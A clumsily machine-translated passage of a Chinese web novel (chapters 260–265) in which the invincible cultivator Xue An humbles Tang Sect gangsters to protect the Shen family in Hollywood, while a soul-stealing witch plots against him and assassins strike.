    This name is like a shocking thunder, which directly defeated the disdainful Osamu Kawano!


    "You...you recognize Miss Takeuchi?" Kawano stammered.


    You know, the current Kiyoko Takeuchi, but the best king of Tokyo to come to the world, let alone Mr. Kawano, is tied together by several top consortiums in Tokyo, it is not comparable to the words of Takeuchi Kiyoko!


    Xue An shook his head.


    Master Chuanyo secretly let go, just don''t know it!


    But then, Xue An said calmly: "Strictly speaking, I am her master!"


    Lord...Master?


    Hearing this name, Mr. Kawano almost slid off the sofa.


    He has no doubts about the authenticity of this incident, because no one dares to pretend to be this!


    Young Master Chuanyo quickly stood up and bowed his head respectfully and said: "You... are you Mr. Xue Anxue?"


    "Oh? You know me?" Xue An said lightly.


    Young Master Chuanno has the heart to cry at this moment, it is really him!


    As long as you are from Tokyo, who doesn''t know this name?


    The master of the underground queen, the instigator of the Sensoji incident, the man who crashed Tokyo Tower with a sword!


    Some time ago, Tokyo was turned upside down by this Mr. Xue.


    What can be achieved?


    Your Excellency Prime Minister, they all have to send people away honestly, and they don''t even dare to let go!


    Therefore, Xue An is now also known as the murderous man in the top management and consortium in Tokyo!


    Facing such a fierce and fierce man, Mr. Kawano bends down deeply respectfully and said: "Hayi, I have heard of Mr.''s deeds before, but I didn''t expect you to be here!"


    Xue An said lightly: "I''m here to do something, and I heard your conversation by accident, and this Shen family is a friend of mine!"


    "Hayi!" Young Master Chuanyo''s waist was bent deeper, his forehead was almost touching the ground, and the cold sweat was dripping down.


    "I really don''t know that Shensang is your friend, I should pass away! Please forgive me!"


    Xue An shook his head, "Forget it, you don''t know about this, and I don''t care about you!"


    Young Master Chuanno felt relieved and bowed again and again, "Thank you sir, thank you sir!"


    Then he raised his head and looked at Xue An vigilantly.


    "Sir, then I now..."


    Xue An waved his hand, "Get out!" The novel is invincible, starting with Dad Xianzun, the latest chapter Chapter 260 Peerless Murderer (third more) URL: https://

 Chapter 261： Tangmen

    Like a pardon, Kawano ran out when he crawled.


    At this time, Shen Jun didn''t know what happened, he only saw Xue An say a few words to Chuanye.


    Then this young master Kawano seemed to have seen their Emperor, nodded and bowed, and then left.


    Shen Jun stepped forward to ask what was going on.


    Unexpectedly, the young Master Chuanno would get angry when he saw him.


    In Kawano''s view, if it weren''t for this Shen Jun, he wouldn''t come to Shen''s house, and he wouldn''t have encountered this murderous man!


    Fortunately, this fierce man is in a good mood today, otherwise he would have died a long time ago.


    So many chaebols and sword saints in Tokyo, didn''t they die in his hands?


    In comparison, my own Kawano consortium does not even count as a fart!


    So Young Master Chuanno raised his hand, slapped Shen Jun viciously, and cursed.


    "stupid!"


    Shin Jun was beaten up.


    Then the young master Chuanye turned around and nodded flatly at Xue An, and then quickly slipped away.


    The atmosphere in the room became difficult.


    Shin Jun stroked his red and swollen face, his eyes gleaming.


    And Shen Kang was also dumbfounded.


    He didn''t know what just happened.


    This friend of my daughter''s just said a few words casually. The young Master Chuanye, who was still bullish at the beginning, seemed to have seen a god, and his face turned pale.


    This man... who is it?


    Shen Kang looked at Xue An suspiciously.


    At this moment, Shen Nan and An Yan also walked out after hearing the noise in the living room.


    "Dad, what''s the matter?" Shen Nan asked in a little astonishment.


    Before Shen Kang could speak, Shen Jun coldly snorted, "What''s wrong? Ha ha! Miss, don''t you know!"


    "Know what?" Shen Nan looked blank.


    Shen Kang frowned, "Shen Jun!"


    Shen Jun couldn''t help it anymore, "Uncle, I can''t hide this matter, let''s talk about it!"


    Shen Kang''s expression changed, then he let out a long sigh, and sat on the sofa without speaking.


    "Dad, what''s the matter?" Shen Nan''s voice also trembled.


    Shen Jun sneered: "Cousin, our Shen family has offended a big man now. The company has fallen into a dead end and is about to go bankrupt!"


    Shen Jun''s words were like a bomb, and Shen Nan''s face was pale as paper.


    "Dad, is what Shin Jun said true?"


    Shen Kang sighed and nodded.


    Shen Nan stood in place with a look of astonishment.


    Shen Jun continued: "The company looks like this, no one bought it at all, even if it did, and the price was very low! Later, I found a company from the country after all the hard work, and I was negotiating the acquisition! But... ...."


    Shen Jun pointed at Xue An and said with a grievance: "This guy actually ran out, and this has been disturbed for life!"


    The room was quiet.


    Shen Nan froze for a long time, and finally smiled bitterly: "I think Brother Xue should be kind too!"


    "Good intentions?" Shen Jun sneered.


    "Is it useful to be kind? Now the company is about to go bankrupt. Once it enters the bankruptcy process, it is worthless! Although I don''t know what he said, I actually let this company in the country run away, but I guess he is basically No peace of mind!" Shen Jun said bitterly.


    Xue An''s face was quiet, without any expression, just looking at Shen Nan quietly.


    He wanted to see how this little girl reacted.


    Shen Nan''s expression changed, but in the end he gradually became firm, and then said to Shen Jun: "Anyway, he is also my friend, and you have no evidence. Why do you spit people here?"


    "I''m spitting blood?" Shen Jun felt a little guilty, but he still asked rhetorically, what else he wanted to say.


    An indifferent voice came, "Why I forbid signing, you should be very clear in your heart, because you have reached an agreement with the people, do you still need me to speak?"


    As soon as this sentence came out, Shen Kang, who had bowed his head, looked up and looked at Xue An.


    "What did you say?" Shen Kang asked.


    Xue An smiled faintly, "Well, I need to ask your nephew!"


    Shen Jun''s complexion turned pale, but he still refused to admit defeat and said, "Uncle Cousin, don''t listen to his nonsense. How could I cheat the Shen family?"


    "And now the key point is, if no one is willing to buy our company, how will the next level pass?"


    Hearing these words, the expression on Shen Kang''s face gradually dissipated, and he nodded tiredly, "It''s really not possible, I will sell it to those Chinese people!"


    After that, Shen Kang looked disappointed.


    Shen Nan felt sad when she saw it, and tears couldn''t help falling.


    She had never seen her father so weak and disappointed.


    Suddenly, she turned around and trembled at Xue An: "Brother Xue, can you... help us the Shen family?"


    This is Shen Nan''s last glimpse.


    Because she had seen the magical scene of Xue An flying into the sky, in Shen Nan''s mind, Xue An seemed to be a **** and was omnipotent.


    Since Brother Xue has forbidden his father to sign and said that Shen Jun has a ghost in his heart, then he is sure that he has measures to help the Shen family!


    When Shen Jun heard these words, the disdain on his face overflowed.


    "He? Hehe, cousin, don''t be naive! Do you know who our Shen family offended this time?"


    Shen Nan turned his head to look at his father, "Dad, who is going to put our Shen family at the place of death? You tell me, Brother Xue might have some measures!"


    Shen Kang smiled bitterly and shook his head, "It''s useless, this person, few people in the country can afford it!"


    Hearing these words, Shen Nan''s heart couldn''t help but feel cold, but he still looked at it with the last glimmer of hope and asked, "Who is it then?"


    Shen Kang hesitated for a moment, and sighed: "It''s Tang Sect!"


    Tangmen!


    These two words made Shen Nan look pale even though he was not sure about the country''s social relations.


    "And it''s Tang Sect''s Great ElderHan Jun!" Shen Jun added, and then looked at Xue An with provocative eyes.


    "I would like to ask, how can you, Brother Xue, reach the sky with his hands and eyes, so that he can even balance the Tang Sect?"


    The tone was full of mockery.


    Shen Nan also lowered his head and said nothing.


    She made it clear that what Shen Jun said was true. After all, in the country, the Tang Sect''s power was extremely powerful, not to mention the Shen family, even the old family could not afford it.


    "Mr. Xue, of course I don''t know why you forbid me to sign, but you are my daughter''s friend anyway. Now that there is something in the Shen family, if it is convenient for you, please leave first! I''m sorry!" Shen Kang said sullenly.


    The atmosphere in the room was extremely suppressed, but at this moment, Xue An raised his head and smiled slightly.


    "Tang Sect? Exactly, I have an account and I want to calculate it with them!" The novel is invincible, starting with the newest chapter of the new chapter, Chapter 261 Tang Sect (fourth more) URL: https://

 Chapter 262： I will give him 2 hours to come over and make amends!

    Hearing these words, Shen Jun was stunned for a moment, and then couldn''t help laughing.


    "It''s ridiculous. I still settle accounts with Tang Sect. Do you know who the Tang Sect is? Even the local gangs dare not provoke them. How old are you?"


    The words are full of disdain.


    Xue An raised his eyebrows slightly and glanced at Shen Jun indifferently.


    Although he was too lazy to care about it, but if it was repeated provocations, then Xue An wouldn''t mind killing an ant.


    And Shin Jun, who wanted to keep talking, was swept away by this line of sight, and his whole body froze.


    This look is simply terrifying!


    Of course Xue An knew who the Tang Sect was, and even the Tang Sect elder Han Jun who was offended by the Shen family was very clear.


    Yu Ling, the old Zhitian man, was a member of the Tang Dynasty.


    Later, after being hit and killed by himself, this Han Jun himself did not dare to retaliate, but revealed the news to the Yu family in Lingnan.


    Xue An is clear about these things.


    That''s why he said that he happened to have an account to calculate with Tang Sect.


    Shen Kang was also full of distrust at this time.


    After all, Xue An is just a person who just came to the country from China, how could he be Tang Sect''s opponent?


    It is probably blowing the atmosphere!


    At the time when the Shen family were amazed.


    A few black business cars drove outside the villa, and then a few burly Chinese men walked down first.


    Someone opened the door, and a well-proportioned man with a gloomy complexion slowly got out of the car.


    He first looked up at the Shen family villa, a cold smile appeared on the corner of his mouth, and then walked straight in.


    The door of the villa was kicked open, and the group of people walked in arrogantly.


    Seeing this group of people, Shen Kang couldn''t help changing his color in amazement, and then quickly stood up.


    "Shao Zhou, you are here!"


    Facing this man, Shen Kang looked very respectful.


    The man nodded arrogantly, "Boss Shen, my master asked me to ask you, can you consider it? If you don''t reply, then don''t blame me for being rude."


    Shen Kang murmured secretly in his heart. This Zhou Shao was called Zhou Lin. He was a safflower double stick of Tang Sect and also a closed disciple of Han Jun. He usually acted very arrogantly.


    He visited the door in person today, and it is estimated that this matter will not be resolved.


    Zhou Lin looked around the field, and when he saw Shen Nan, his eyes lit up, and then said lightly: "Boss Shen, make the daughter look pretty!"


    Hearing these words, Shen Kang couldn''t help his face changed drastically.


    "Shao Zhou, my daughter is still in college!"


    Zhou Lin smiled, "It can be seen, but Boss Shen, if you can''t satisfy me this time, then...Ling Qianjin will probably appear in some unspeakable places to accompany someone to drink! I mean, you Is it clear?"


    Zhou Lin''s arrogant tone made Shen Kang pale, and Shen Nan was even more panicked, not knowing how to respond.


    At this moment, Xue An, who was sitting on the sofa, chuckled, "This...is this the way your Tang Sect acts?"


    Hearing these words, Zhou Lin suddenly turned around, staring at Xue An, and said with a murderous face: "Who are you? I don''t know what Tang Sect is acting on, are the idlers waiting to leave?"


    Xue An tapped his finger on the armrest and said lightly: "Who am I, you are not qualified to know!"


    Zhou Lin smirked, "Very well, you angered me, today, I will tear you apart!"


    With that said, Zhou Lin rushed past like a tiger descending the mountain.


    Zhou Lin practiced Chinese ancient martial arts, the thirteenth tiger style! And the degree is good, with one move and one style, just like a real tiger, the momentum is extremely shocking.


    Shen Jun looked at him, his heart full of gloat.


    Now, how do you pretend?


    But this motive just flashed past.


    Seeing Xue An raising his head, his sword eyebrows raised slightly, and he gave a soft drink.


    "roll!"


    This sentence was like a heavy hammer hitting Zhou Lin''s chest in mid-air.


    And directly blasted it out, until it smashed a wall, and then stopped.


    Then Zhou Lin opened his mouth and sprayed out a mouthful of blood.


    At this moment, Shen Jun, Shen Kang and others were stunned, and they couldn''t trust their eyes.


    The dignified Tang Sect safflower double sticks can''t even hold up a sentence?


    At this moment, Zhou Lin''s face was pale, and there was a flash of panic in Xue An''s eyes.


    He is more horrible than anyone else.


    This gentle and gentle man who seemed to be harmless to humans and animals, at the moment he looked up, he seemed to be transformed into an invincible tyrannosaurus, with a terrifying aura!


    "Who on earth are you..." Zhou Lin''s arrogance subsided a lot, but he still died and stared at Xue An and asked.


    Xue An smiled faintly, "Go back and tell you Master, I haven''t settled the old man Zhitian''s account yet! And I will give him two hours to come over and make amends, otherwise...I will destroy your Tang Sect!"


    Zhou Lin''s face was pale, but he nodded and said, "Okay! You wait!"


    After speaking, he stood up, took a deep look at Shen Kang, and ran away hastily.


    Only the Shen family were left in the house looking at each other.


    And Shen Kang''s heart suddenly raised a glimmer of hope.


    Could it be... he can really save our Shen family?


    Shen Nan took a deep breath, thinking that the matter was definitely resolved!


    Because she has an inexplicable trust in Xue An.


    She even felt that there was nothing in the world that could stump this man.


    At this moment, Shen Jun sneaked up to Shen Kang and said in a low voice: "Uncle Cousin, this guy actually offended Tang Sect''s safflower double sticks. Let''s make plans early, otherwise we might also be affected! "


    Shen Kang hesitated again when he was said.


    Shen Nan said angrily: "Shen Jun, you have been disturbing here again and again, what on earth do you intend? Our Shen family has fallen, is it beneficial to you?"


    Shen Jun''s face blushed and white after being scolded, and he retreated to the corner with a sneer in his heart.


    Actually let Tang Sect elder come to the house to apologize, this guy really doesn''t know how the word for death is written.


    Half an hour.


    One hour����.


    One and a half hours...


    It has been quiet and secretly outside, without any movement.


    Shen Kang''s complexion became paler.


    And Shen Jun became more and more contented, thinking how would I see you make it up?


    Only Xue An sat there calmly, as if not in a hurry at all!


    Twenty minutes later, two hours or less, but a few minutes later, Shen Kang couldn''t help but was about to speak.


    There was a sudden commotion outside.


    Shen Jun rushed to the window.


    I saw dozens of black commercial vehicles coming outside, and many Tang Clan children came down from above.


    In the middle of a classic car a gray-haired old man got out of the car.


    Shen Kang also came to the window at this moment, and when he saw the old man, his face was pale.


    "It''s Tang Sect elder Han Jun!"


    This kind of momentum has also changed everyone in the room!


    Then I saw the Tang Sect elder taking the lead and walking into the Shen family.


    Shen Kang stood by the wall, his heart was full of horror, and he didn''t know if he should go up to apologize.


    But Han Jun didn''t squint, went straight to Xue An, and stopped.


    Shen Jun was secretly overjoyed, thinking that Xue An was going to be unlucky.


    But at this moment, I saw Han Jun bend down deeply, and respectfully said: "I have seen...Mr. Xue!" The novel is invincible, starting with Dad Xianzun. Chapter 262 I give him two Come to apologize when you are young! (Fifth update) Website: https://

 Chapter 263： Come out and mix it up

    See this scene.


    Shen Jun''s mouth is open enough to fit two duck eggs.


    Shen Kang was shocked, his face full of disbelief.


    He knew that Han Jun was better than anyone else.


    At the beginning, I only offended Tang Sect for some trivial things, but with a word of Han Jun, his company was on the verge of collapse.


    This shows Han Jun''s monstrous power.


    But now, this big man who controls countless lives and deaths is like a child who has done wrong, bowing respectfully to Xue An and admitting his mistake.


    Inside and outside, there was a dead silence.


    Xue An looked indifferent and just watched quietly.


    He didn''t speak, and Han Jun didn''t even dare to raise his head, just bend down like this.


    At this moment, Han Jun was full of fear and regret.


    Time went back two hours ago.


    Han Jun was sitting idle in the headquarters of Tangmen.


    Zhou Lin was sent to the Shen family by him.


    Han Jun has been coveting the big cake of Hollywood movies for a long time, but he is helpless. Those international and domestic film companies can''t eat it by themselves, and there are big people behind them.


    He has been unable to get in.


    This time it happened that Shen Kang of the Shen family offended him for a trivial matter.


    There was a move in his heart. Although the scale of the Shen family''s film company is not very large, it is operating well and can generate considerable profits every year.


    Therefore, Han Jun used the topic and prepared to force Shen Kang to sell the company to Tang Sect.


    Tomorrow is the deadline.


    He sent Zhou Lin there, just to put some pressure on.


    In Han Jun''s view, this is a very common thing.


    Can wait more than an hour.


    Zhou Lin came back pale.


    Han Jun frowned when he saw Zhou Lin''s expression.


    "what happened?"


    Zhou Lin gritted his teeth and said, "I was beaten!"


    "Oh?" Han Jun raised his eyebrows with a murderous expression on his face.


    There are people who dare to hit Tang Sect?


    "Are the masters invited by the Shen family?" Han Jun said lightly.


    Zhou Lin shook his head, "I''m not sure, but this guy is very powerful and very arrogant!"


    "He hurt me, I asked his name, but he said I was not qualified to know, and..."


    "And what?"


    Zhou Lin gritted his teeth, "He said, I will give you two hours to make amends for the past!"


    Upon hearing this, Han Jun couldn''t help showing anger on his face.


    "What a big tone!"


    Zhou Lin''s heart regained his excitement. If his master was on the move, then no matter how good that guy was, he would be finished!


    "Did he say anything?" Han Jun picked up the teacup and drank the tea slowly.


    "What else did he say that the account that used to refer to Old Man Tian hasn''t been settled for you!" Zhou Lin said.


    Upon hearing these words, Han Jun, who had just taken a sip of tea, was so shocked that he spouted his mouthful of tea.


    "What did you say?" Han Jun''s expression was extremely solemn.


    Zhou Lin was also frightened, "He...he meant that the old man Zhitian��s account has not been settled for you, so that you can make a payment for the past within two hours! Master, do you want to send someone to kill this guy? "


    Snapped!


    Han Jun raised his hand and turned Zhou Lin in the air several times.


    "Forget Ba! Is that man you can afford? Do you dare to do something with him?" Han Jun was obviously very angry, and he punched and kicked Zhou Lin.


    Zhou Lin was beaten up.


    He had never seen Master so angry and fearful before!


    After a few hits, Han Jun suddenly thought of something and quickly looked at his watch.


    "How long has it been since you left Shen''s house?"


    "It''s been more than half an hour!" Zhou Lin trembled.


    Han Jun trembled with fright, and shouted loudly, "Quickly, get ready for the car!"


    At this time, Zhou Lin tremblingly asked: "Master... who is that man?"


    Han Jun stomped his feet and said with a horrified face: "He... is Xue An!"


    Xue An!


    These two words seem to have infinite magic.


    At least after Zhou Lin heard it, he only felt black in front of him, almost frightening his death.


    Destroy the fairy gate with one hand, break Tokyo with one sword, and crush the Ministry!


    Anything that is picked up is an earth-shattering event.


    And these things were all done by Xue An.


    Is it ridiculous that I still want to do it with him?


    Thinking of this, Zhou Lin was afraid for a while.


    And Han Jun was also terrified at the moment.


    He was restless even on the way to Shen''s house.


    When the old man Zhitian was killed, he secretly notified the Yu family!


    I thought that the Yu family would definitely kill Xue An.


    Unexpectedly, a few days later, news came that Xue An broke the sword fairy with a sword.


    After hearing this news, Han Jun was so frightened that he did not dare to go out for several days, even when he went out, he had to bring countless bodyguards.


    He is very clear that with Xue An, a world-wide powerhouse, he must be clear and decisive!


    He can only hope that Yu Xue An can forget himself.


    Especially when Xue An��s deeds came one after another, Han Jun lived in fear and cowardice every day.


    Later, seeing Xue An had not come, he slowly relaxed.


    Until today, he finally made it clear that he would pay it back sooner or later!


    So, he bit his head and came to the Shen''s house, waiting for Xue An''s outburst.


    At this time, Xue An said indifferently: "You Tang Sect... do things very domineering!"


    Hearing these words, Han Jun was shocked, cold sweat burst out all over his body.


    "Yes! Yes! We really didn''t know that the Shen family was your friend. If we knew, we wouldn''t dare to do so! Please forgive me!"


    A smile appeared at the corner of Xue An''s mouth, "If the Shen family doesn''t know me, then do you plan to push this family to the end? Huh?"


    In the end, this rhetorical question caused Han Jun to soften his knees and knelt on the ground with a splash, then knocked his head like garlic.


    "Mr. forgive me, Mr. forgive me, we will never dare anymore!"


    Looking at this big man who is usually aloof, he begged for mercy like a lamb waiting to be slaughtered.


    Shen Kang and others all closed their mouths.


    Especially Shin Jun, his face is ashamed of death.


    Xue An stood up, walked slowly in front of Han Jun, and looked at him condescendingly.


    "You are both Chinese, in a foreign land, you should have sponsored each other, but you framed your compatriots and acted as a blessing! You said...what should be the crime?"


    Han Jun slumped to the ground, disappointed and said: "Everything depends on the husband!"


    "That''s good! You wanted to kill me by the hands of others, and then this time oppressing others by power. There is nothing wrong with killing you! Can you be convinced?"


    Han Jun''s face was pale, and he nodded and said: "Be...convinced!"


    Seeing this scene, everyone, especially the children of Tang Sect, breathed cold air in their hearts.


    This is the elder who dominates the blessing?


    In front of this man, it seemed like a lamb to be slaughtered!


    Xue An stretched out his hand to caress the top of Han Jun''s head and squinted slightly.


    A strong spirit swept through Han Jun''s mind, a moment later.


    Xue An said indifferently: "For the sake of your usual being not too bad, forgive the sin of passing away!"


    Speaking Xue An waved his hand, Han Jun''s face turned pale, and everyone became old.


    One move broke Han Jun''s cultivation base and abolished his feet.


    But Han Jun kept kowtow, "Thank you for your life, Mr. Thank you for your life!"


    Every head is sincere, because Han Jun has been completely frightened.


    Xue An just smiled at this.


    He just created it through divine thoughts, this Han Jun usually takes good care of the foreign Chinese, so he can''t really kill him!


    "Also, the Shen family..."


    "Mr. Don''t worry, the Shen family will be going smoothly in the future, and Tang Sect dare not disturb!" Han Jun said tremblingly.


    Xue An nodded, "Get off!" The novel is invincible, starting with the newest chapter of the new chapter, Chapter 263, coming out of Chapter 263, sooner or later (first update) URL: https://

 Chapter 264： What is it that keeps you going until now?

    Everyone in Tangmen was amnesty. Someone stepped forward to stand up Han Jun, and reverently exited the Shen family villa, and then ran away panicked.


    The room was quiet.


    Xue An smiled at Shen Nan, "Okay, the matter is over!"


    Shen Nan''s cheeks flushed with excitement, and the look in Xue An''s eyes was like looking at a super hero.


    "Thank you...thank you!" Shen Nan said.


    At this time, Shen Kang stepped forward and bent over Xue An with a serious expression, "Thank you, Mr. Xue, for your help, the Shen family is not unforgettable!"


    Xue An was noncommittal.


    He shot, only to feel that the little girl Shen Nan had a good personality, not to make the Shen family grateful to him.


    But at this moment, another person is quietly slipping out of the door.


    Shin Jun moved out, praying in his heart.


    Don''t see me! Never see me, God bless!


    It seems that his **** didn''t dare to offend Xue An, just when Shen Jun came to the door and was just one step away.


    Xue An turned to look at him, and said lightly: "Do you want to leave now?"


    Shen Jun shuddered, turned around and gave a strong laugh.


    "Hehe, I suddenly remembered something that I haven''t dealt with yet!"


    As he spoke, his voice became smaller and smaller.


    Because Xue An is looking at him condescendingly.


    The cold and indifferent eyesight easily defeated Shen Jun''s psychological defense.


    He thumped and knelt on the ground, "My lord, forgive me, I will never dare anymore. Collusion with the Chinese is also my temporary obsession!"


    Shen Kang paled with anger when he heard him admit it himself.


    "You wolfish ambition dog thing, I kindly took you in at the beginning, but you will avenge your grievances?"


    Shen Jun also stopped at this moment. He seemed to be controlled by something just now, and said all his thoughts.


    "Kill it? I can do it for you!" Xue An smiled faintly with Shen Kang, as if talking about a very common thing.


    Shen Jun trembled and cried out crying: "Uncle, I will never dare anymore, please plead with me. Just forgive me, I will get out now!"


    Shen Kang''s expression changed a few times, and then he let out a long sigh.


    "Sir, this person is also my relative anyway, you... just let him go!"


    Xue An was noncommittal.


    There is no reason to kill this Shen Jun.


    Seeing that his life was saved, Shen Jun turned his head and ran.


    At this time, Shen Kang had the opportunity to step forward and thank him again.


    After he finished speaking, Shen Kang asked, "Mr. Xue, is there anything you are coming to Hollywood this time?"


    Xue An nodded, "I have a friend who wants to participate in Auscar in a few days!"


    "Oh? Who is it? Do I know?" Shen Kang was surprised.


    "Fan Mengxue!" Xue An smiled faintly.


    Shen Kang stopped, and Shen Nan screamed.


    "Miss Fan Mengxue of Chinese Light?"


    Xue An nodded, "Is she famous now?"


    Shen Kang was full of admiration, "Fame is more than great! As an overseas Chinese, I rarely convince people, but this Miss Fan Mengxue is a Chinese star that I admire most in my life."


    "Oh?" Xue An was a little curious.


    "Ms. Fan has only been in Hollywood for a few months, but she has found a celebrity that other stars will never be able to break through. She has made several popular and popular movies in succession. Big production!"


    "If it''s just that, it''s fine. The key point is that Miss Fan has a very good reputation. Many actors who have worked with her can''t praise her, and..."


    Shen Kang paused, seeing Xue An''s face as usual, then continued.


    "Moreover, several famous actors are very fond of Fan Mengxue, and have said on public occasions more than once that they want to seek Fan Mengxue!"


    "But Miss Fan never responded. From entering Hollywood to the present, it can be described as zero scandal!"


    Shen Nan also asked excitedly at this moment: "Brother Xue, are you familiar with Miss Fan?"


    Xue An smiled, "Of course!"


    "Then can you give me an autographed photo? I asked my dad to ask for it, but I never had the chance to get it! I love her the most! She is simply our girl''s complacency and role model!"


    Xue An nodded, "Of course!"


    And just when they discussed Fan Mengxue.


    In the top suite of a luxury hotel in Hollywood, Fan Mengxue, or she should be called the Night Witch Emperor, closed her eyes and prepared to try again to completely wipe out the soul of this body.


    The Night Witch Empress came to the world she constructed with divine consciousness.


    What Night Demon Valley is best at is the two secret techniques of Divine Mind and Seizing Shelter!


    Especially the night witch emperor, she has taken countless figures, but never has a soul as difficult as this figure.


    On a red land, there is a grand cross.


    Fan Mengxue, who was **** by the chains of divine consciousness on the cross, was the depressed Fan Mengxue.


    The Night Witch Empress came to her, looking at this extremely tough soul, a sharp expression flashed in her eyes.


    "I''m curious, what has supported you to the present?" The Night Witch Emperor said lightly.


    Fan Mengxue slowly raised her head, only numbness remained in her hollow eyes.


    But the night witch emperor faced these paralyzed eyes, but a trace of panic that was not easily noticeable flashed in her heart.


    Then the night witch emperor became angry.


    I was scared of the soul of an ant just now?


    "Very well, is it still alive? I don''t believe that there are souls under the sky that can survive the suffering of being corroded by the night demon flame!"


    The night witch emperor roared, a black flame rose from Fan Mengxue''s feet, and soon enveloped her body.


    Demon flame roasting, its heartburn!


    Even a tough guy with iron strikes, faced with such a torture, can''t endure three seconds.


    But Fan Mengxue only struggled a few times, her eyes still so numb and hollow, and her high head never lowered.


    The Night Witch Empress was shocked and angry, "Why! Why have you stayed until now? What on earth is there in this world worthy of your obsession?"


    With that, the magic flame strengthened again.


    The burning magic flames even swallowed Fan Mengxue completely.


    But even so Fan Mengxue still didn''t say a word, just silently watching the Night Witch.


    The Night Witch Queen finally took a half step back in panic, and immediately said angrily: "Why do you prefer to encounter such suffering and keep going down?"


    Fan Mengxue opened her mouth and said in a hoarse and weak voice: "Because of my trust, he will definitely come to save me!"


    he?


    The night witch emperor''s complexion gradually turned dark.


    "You are talking about Xue An? Haha, yes, he has arrived in the country now, but I have set the death bureau, then I will use your hand to kill him personally! Hahaha!" Ye The Witch Emperor laughed complacently.


    Fan Mengxue gently shook her head, "You...none of you can kill him, because he is the invincible Xue An!"


    When she said this, Fan Mengxue seemed to have light in her eyes. The novel is invincible, the newest chapter, Chapter 264, starting with Dad Xianzun, what is it that keeps you going until now? (Second update) URL: https://

 Chapter 265： Appetizer

    The night witch emperor''s face was pale, but after a while, she suddenly sneered.


    "Very well, since you admire him so much, then when the time comes, I will let you feel what it''s like to kill him personally!"


    "Forgot to tell you that what I am best at in Night Demon Valley is to pretend and seize the house, and it is seamless, the kind that even Jinxian can''t see, don''t think that he can detect it!"


    Fan Mengxue''s expression finally changed upon hearing the words of the Night Witch.


    "If you dare to do this, then I will encounter ten thousand years of devil flame burning, and I will not let you go!" Fan Mengxue said angrily.


    The night witch emperor Jie Jie quit the energy world with a strange smile, and slowly opened her eyes.


    Han Yao, who was also taken over by her subordinates, walked in.


    "My Empress, the news that I just received, Xue An has arrived in the country!"


    The night witch emperor''s eyes lit up, and then nodded, "Very well! Let''s inform Griffin first!"


    "I think Griffin would be happy to serve this Xue An with some appetizers first!"


    Griffin was sitting in a chair eating steak when he received the news.


    A large piece of steak, under Griffin''s blade, was divided little by little.


    With one bite, the aroma is overflowing, and it is perfect with a little wine!


    It wasn''t until the whole steak was eaten by Griffin that he leaned back on the chair comfortably, pulled off the napkin between his neck and wiped his mouth.


    "It seems that our female emperor is a little anxious, but this Xue An''s character is also irritable enough, just the second day after coming to the country, the Tang Sect will all come back!" Griffin said lightly.


    And his men were silent.


    These men are all clear about Griffin''s character, this is a moody person, and when he is excited, he is gentle and celebrity. Once furious, he becomes the most brutal and bloodthirsty demon.


    So I dare not speak.


    "Haha, the Chinese master... and the deeds he has done are really confusing! But unfortunately, now is the age of technology, and there is no master who can''t solve it with an anti-armor-piercing bullet. If there is, then Just two!"


    Griffin was talking and dancing with excitement.


    Everyone in the room looked at it with no surprise.


    "Ghoul!" Griffin said.


    "The apprentice is here!" In the corner, a bald man slowly stood up.


    His face and body were covered with various wounds, and most of them were gunshot wounds, as if they had come from a rain of bullets.


    "You killed this guy, whatever weapon you use, even if you can get a nuclear bomb, it''s okay!"


    "Yes!"


    "Also, a message to those bounty hunters in Sin City, who can kill him, bounty 100 million!"


    The ghoul nodded, then turned and left.


    Griffin still had a trace of excitement on his face, and licked his lips, "I really hope to see your corpse as soon as possible. Then I will use the deepest sword skill to separate you a little bit, and you The bones will be my best hiding!"


    On the lawn in the backyard of the Shen family.


    Xue Xiang and Xue Nian are swinging.


    Xue An is responsible for pushing the swing behind.


    With each swing, the swing will fly higher.


    Soon, the swing was already high and almost perpendicular to the ground.


    What Shen Nan saw was frightened.


    Xue Xiang and Xue Nian happily.


    Now Xue An��s family is temporarily staying in the Shen family.


    Xue An wanted to leave, but Shen Kang refused to say anything, and repeatedly tried to stay.


    In the end, Xue An is fine, anyway, it will be only two or three days before the opening of Oska.


    When the time comes, the Shen family will also participate, which saves the trouble.


    An Yan moved the computer outdoors, and was attentively playing a new scary game.


    An Yan''s explanation for this is that the air in the house is not good, so the computer must be moved out to play!


    In this regard, Xue An can only smile in love.


    He just likes to look stupid when An Yan can do it.


    Just when everything is quiet and peaceful.


    suddenly.


    Xue An frowned and turned to look far away.


    And at this moment.


    On a building 1,500 meters away from Shen''s house, a focused sniper took a deep breath.


    "May God be with you!"


    He muttered silently in his heart and pulled the trigger.


    This is a sure blow.


    On the battlefield, he leaned on a sniper rifle and killed countless people.


    This time it will be no exception.


    Although the information says, this man is terribly tough.


    But there is no one that the bounty hunters of Sin City cannot deal with.


    In particular, he is also a leader among bounty hunters.


    He felt a little excited when he thought that 100 million dollars was about to be won.


    It takes 1.79 seconds for the bullet to fly 1,500 meters.


    He leaned down and stared at the sniper scope.


    He likes to watch prey get headshot under his gun.


    But the smile at the corner of his mouth was frozen before it rose.


    Because of the sniper lens, he saw Xue An''s indifferent eyesight.


    At the same time, the bullet flew.


    The huge shock wave even crushed the branches along the way.


    But it was such an anti-material armor-piercing projectile, but it stopped one meter away from Xue An.


    Then the armour-piercing projectile began to drill forward slowly, but every centimeter moved, the shape of the armour-piercing projectile would be distorted.


    Until the arduous journey of ten centimeters, it banged, turned into powder, and dissipated in the wind.


    The bounty hunter watched this scene dumbfounded, suddenly shocked all over, and then wanted to run as soon as he turned over.


    This man... terrible!


    No wonder it will give a bounty of 100 million!


    But just when he was about to get up.


    A voice came from behind, "Your marksmanship is good, sorry, there is no chance to use it again!"


    As he said, the bounty hunter felt a pain all over his body, and just about to scream, he was burned to ashes by the white flame.


    Xue An looked at the special sniper rifle left on the roof and smiled faintly.


    "Did you use this method to grind me away? Unfortunately, I made a wrong calculation!"


    But just when Xue Anchong was on the roof of a building 1,500 meters away.


    In the back garden of the Shen family, the ghoul descended from the sky like a demon **** of hell, and then came straight towards Anyan without talking.


    He is a very intelligent person, and because of an unintelligent soldier, he has already passed away on the battlefield.


    He has been waiting waiting for others to take action.


    really!


    Someone couldn''t help but fired first.


    Xue An was not unexpectedly led away by this shot.


    It left a perfect opportunity.


    Of course the ghoul would not let it go, so he rushed towards Anyan with a grinning grin.


    Just subdue this woman.


    So isn''t Xue An caught in his hand?


    But just when he thought everything was in order.


    An Yan, who he regarded as a weak woman, frowned, and picked up the pan beside the computer for courage. The novel is invincible, the latest chapter, starting with Daddy Xianzun, Chapter 265 Appetizers (third more) URL: https://

 Chapter 266： 1 vigorous family

